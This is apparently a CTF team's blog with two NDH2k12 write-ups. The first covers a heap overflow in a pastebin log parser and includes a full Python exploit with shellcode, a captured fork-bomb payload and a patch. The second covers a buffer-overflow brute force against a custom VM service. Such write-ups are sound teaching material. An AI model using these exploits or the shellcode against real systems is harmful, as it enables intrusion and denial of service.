To search


w3pwnz, therefore we are

Tuesday, July 3 2012 11:21

NDH2k12 Write-up Pastebin

The first thing we have for this challenge, is a "pastebin-like" website, with possibility to create, display, and delete entries
All actions are logged in the "pastebin.log" file, and new pastes are created in files "data/".md5($title).

The second part, is a cron job running every minute, calling the binary "resources/parse" which parses the pastebin.log file and update "resources/stats.html" with the current number of pastes, the number of actions, logged attacks (xss, lfi, sqli, ...). This file is then displayed in the website's index.

We also notice that the flag is in "resources/functions.php".

Here is the code for creating new pastes :

$log = fopen('pastebin.log', 'a');
if(isset($_POST['title'], $_POST['text'], $_POST['time'])) {
    $name = md5($_POST['title']);
    $time = intval($_POST['time']);
    file_put_contents("data/$name", $_POST['title']."\x00".$_POST['text']);
    $len = strlen($_POST['text']);
    fwrite($log, $time.' + '.$len.' '.$name.' '.$_POST['title']."\n");
    header("Location: ?id=$name");

So a log entry has the following format :

timestamp + post_length md5_title title\n

Now the vulnerability. It's located in the "get_parse" routine of the parse binary :

void *__cdecl get_paste(int inputfd)
  char req_type; // [sp+2Bh] [bp-Dh]@1
  void *buffer; // [sp+2Ch] [bp-Ch]@1
  buffer = malloc(0x12Cu);
  __isoc99_fscanf(inputfd, "%d %c %d", buffer, &req_type, (char *)buffer + 292);
  if ( *(_DWORD *)buffer )
    switch ( req_type )
      case '-':
        *((_DWORD *)buffer + 74) = handle_del;
      case '?':
        *((_DWORD *)buffer + 74) = handle_query;
      case '+':
        *((_DWORD *)buffer + 74) = handle_add;
        buffer = 0;
    __isoc99_fscanf(inputfd, "%32s %[^\n]s\n", (char *)buffer + 259, (char *)buffer + 4);
    buffer = 0;
  return buffer;

As we can see a buffer is allocated to hold the current paste's information. The first fscanf writes the timestamp at the beginning of the buffer (offset +0), the type in a separated variable (req_type) and the title's length at the end of the buffer (offset +292).
A handler pointer is then placed at buffer+74*4 (offset +296), and finally the second fscanf copies the title just after the timestamp (offset +4) without length control.
So the title (that we control) just has to be longer than 292 bytes to overflow, and overwrite the handler pointer, causing a segfault :

~/vhosts/ndhpastebin$ cat pastebin.log 
1340853859 + 2 c73301b7b71679067b02cff4cdc5e700 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
1340853866 ? 0 c73301b7b71679067b02cff4cdc5e700 c73301b7b71679067b02cff4cdc5e700
~/vhosts/ndhpastebin$ ./resources/parse pastebin.log aaa
Erreur de segmentation (core dumped)
~/vhosts/ndhpastebin$ gdb resources/parse core
Core was generated by `./resources/parse pastebin.log aaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()
(gdb) x/16wx $eax
0x8d582d8:        0x4febce63        0x61616161        0x61616161        0x61616161
0x8d582e8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d582f8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d58308:        0x61616161        0x61616161        0x61616161        0x61616161

We have overwritten EIP, and at the time of the crash, EAX points to the beginning of the buffer (timestamp + title).
The heap being executable, two "call eax" allow us to gain execution by directly jumping into our buffer :

~/vhosts/ndhpastebin$ objdump -D resources/parse | grep call | grep eax
 80486c8:        ff 14 85 8c a0 04 08         call   *0x804a08c(,%eax,4)
 804870f:        ff d0                        call   *%eax
 8048e0b:        ff d0                        call   *%eax

The timestamp is also not a problem, since it is also supplied by the user (variable $_POST['time']). So we'll just submit a timestamp equals to 0x90909090, then our shellcode in the title (padded to 292 bytes) followed by the address of one of the previous "call eax". And that's it :)
As we are in an attack/defense CTF, reverse-shells may be blocked, or monitored, so we'll use a shellcode to copy the wanted flag into an accessible location (we'll of course make sure to remove this file afterwards...)

This vulnerability has also been used by one of the team (Les_Pas_Contents) to execute a persistent fork-bomb, causing a lot of teams to loose access to their server, and an early end to the CTF...(thanks delroth for the attack dump). Here's the attack, in the 4th packet from :

0040  18 66 50 4f 53 54 20 2f 20 48 54 54 50 2f 31 2e   .fPOST / HTTP/1.
0050  31 0d 0a 48 6f 73 74 3a 20 6c 6f 63 61 6c 68 6f   1..Host: localho
0060  73 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65   st..Content-Type
0070  3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d   : application/x-
0080  77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f   www-form-urlenco
0090  64 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e   ded..Content-Len
00a0  67 74 68 3a 20 39 31 37 0d 0a 0d 0a 74 69 74 6c   gth: 917....titl
00b0  65 3d 25 36 61 25 30 32 25 35 38 25 63 64 25 38   e=%6a%02%58%cd%8
00c0  30 25 65 62 25 66 39 25 63 63 25 34 32 25 34 32   0%eb%f9%cc%42%42

Disassembled code:

00000000  6A02              push byte +0x2
00000002  58                pop eax
00000003  CD80              int 0x80           ; fork()
00000005  EBF9              jmp short 0x0      ; infinite loop

How to patch the vulnerability :
A quick and dirty fix consists in directly edit the format string of the second fscanf in the parse binary, to set a length limit for the title :
(here we replaced "[\n]" by "0290")

__isoc99_fscanf(inputfd, "%32s %0290s\n", (char *)buffer + 259, (char *)buffer + 4);

Exploit :

import urllib2, sys, struct
# /bin/cp /var/www/pastebin/resources/functions.php /var/www/pastebin/nawak.txt
shellcode = "\x31\xc0\x66\xb8\x10\x10\x29\xc4\x89\xe1\x29\xc1\x31\xc0\x89\x01\x31\xc0\xb0\x74\xc1\xe0\x08\xb0\x78\xc1\xe0\x08\xb0\x74\x50\x68\x77\x61\x6b\x2e\x68\x6e\x2f\x6e\x61\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\x50\x68\x73\x2e\x70\x68\x68\x74\x69\x6f\x6e\x68\x66\x75\x6e\x63\x68\x63\x65\x73\x2f\x68\x73\x6f\x75\x72\x68\x6e\x2f\x72\x65\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\xc1\xe0\x08\xb0\x63\xc1\xe0\x08\xb0\x2f\x50\x68\x2f\x62\x69\x6e\x49\x49\x49\x49\x89\x21\x89\xe3\x31\xc0\x50\x89\xe2\x31\xc0\xb0\x0b\xcd\x80"
addr =  "08048e0b".decode("hex")[::-1] # call eax
stamp = struct.unpack("<i","\x90"*4)
title = shellcode.rjust(292,"\x90")
title += addr
if len(sys.argv)<2:
    print ("Usage: ", argv[0], " url")
url = sys.argv[1]
def exploit():
    p =urllib2.urlopen(url, "title=" + urllib2.quote(title) + "&time=" + str(stamp) + "&text=bollocks")

Sunday, March 25 2012 16:18

NDH2k12 Prequals - Any idea how to use this file? - Unknown file extension

After decrypting the secret message, we got a new email, from Piotr this time, a supposed technical operative.

From: Piotr <>
To: w3pwnz <>
Subject: Any idea how to use this file?
Attachments : webApp.ndh

Great job there! You seem to be quite a great cryptograph, wow. Your account has been credited with $100. Btw, I'm Piotr, from the technical staff. Maybe Jessica told you about me, we will interact directly about complex questions.

Anyway, our anonymous contact at Sciteek has sent us another binary file with that strange extension, will you be able to break it? If you manage so, please contact me directly with the subject "Unknown file extension", $1700 dollars to earn!


As you can see, he asks us to study a file which format and extension are unknown.
The file is pretty small (897 bytes), and contains some strings :

# strings webApp.ndh
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase:
Nope. It is not the good password

We can easily recognize the other strings as coming from the pseudo-assembly code decrypted. A quick look at it shows a blatant 10-bytes read while the function frame is only 8-bytes long. We can quickly check this buffer overflow on the online service:

# nc 4000
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase: 0123456789
[!] Segfault 0x3938 (opcode unknown)

From the plain ASM, we also spot a debug function whose job is to display the “esoasoel.txt” file, obvious candidate for our BoF. From there on, two options: bruteforcing the possible return addresses or reversing the file format to find the actual offset of the debug function.

Step 1 : The Easy Way

The address space is only 16-bits long and we haven’t enough place for a shellcode anyway: we chose to bruteforce it - at the time, we did not have the NDH virtual machine from the rar archive to directly get the correct offset. The only trick here is to think about injecting 9 bytes instead of 10 to get the heavy-weighted one:

$ perl -e 'print "A"x9' | nc 4000
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase: [!] Segfault 0x8241 (opcode unknown)

The assembly suggests that the debug function we are looking for is farther ahead in the code segment than the call :ask_password, so we launched a bruteforce from 0x8200 to 0x83ff included.
Finally, Ezekiel 25:17 pops up:

# python -c "print 'A'*8+'\xdb\x82'" | nc 4000

Welcome on SciPad Shell, root.

The path of the righteous man is beset on all sides by the inequities of the selfish and the tyranny of evil men. 
Blessed is he who, in the name of charity and good will, shepherds the weak through the valley of darkness, for he is truly his brother's keeper and the finder of lost children. 
And I will strike down upon thee with great vengeance and furious anger those who would attempt to poison and destroy My brothers. 
And you will know My name is the Lord when I lay My vengeance upon thee.

- God (f98eb53e7960c9a663c60a916b6de70e)

Be careful, this service is not protected by any option, to avoid exploitation please use the new version of this shell available on 
This service runs in a vm with stack layout randomization which is more secure

Something's fucked up ('cause our developers drink too much beer).
Try later. Or not.

Step 2 : The hard way, ‘cuz you’re a grown up and all.

First we have to study the binary. So hex editor it is.

The first four bytes indicate the file type, here NDH. The two following bytes indicate the size of the code and data section : the end offset is 0x37F, and 0x37F - FILE_TYPE_FIELD_SIZE (4) = 0x37B.

The data section is localized at the end of the file :


We recognize the strings from the pseudo ASM code with a little difference : the name of the text file.

Now we have to find the function that displays the file content. Thanks to the Scios Instruction Set we extracted from the audio file, we know that the binary is mapped at the 0x8000 address. We manually compile the following statement :


MOVL R0, :FLAG_FILE give us the following opcodes :

04     02                   00    6e 83

The filename address is calculated by adding the filename offset in the file (0x374 - HDR_SIZE(6)) to the memory base address (0x8000) which give us 0x836E.
We can’t fully compile the next statement, because we don’t know where is the DISP_FILE_CONTENT function, however we know the compiled statement will be something like that :

19      04               XX XX

Consequently, we can look for the followings bytes in the binary :

04 02 00 6E 83 19 04


And we find them at the file offset 2E1 that we translate into memory address :

0x8000 + 0x2E1 - 0x6 (HDR_SIZE) = 0x82DB.

No surprise here, this is the address we found by bruteforcing the BoF. Well, that’s it.